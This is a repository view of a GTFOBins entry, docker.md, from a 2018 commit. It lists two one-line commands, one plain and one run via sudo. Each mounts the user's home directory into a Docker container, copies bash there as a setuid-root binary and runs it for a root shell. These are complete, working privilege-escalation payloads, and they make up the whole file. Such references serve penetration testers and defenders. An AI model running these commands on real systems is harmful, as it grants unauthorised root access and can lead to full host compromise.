Files
GTFOBins.github.io/_gtfobins/docker.md
AlessandroZ 7219385a05 add new ways
2018-08-17 17:16:09 +02:00

8 lines
357 B
Markdown

---
functions:
execute-interactive:
- code: docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
sudo-enabled:
- code: sudo docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p
---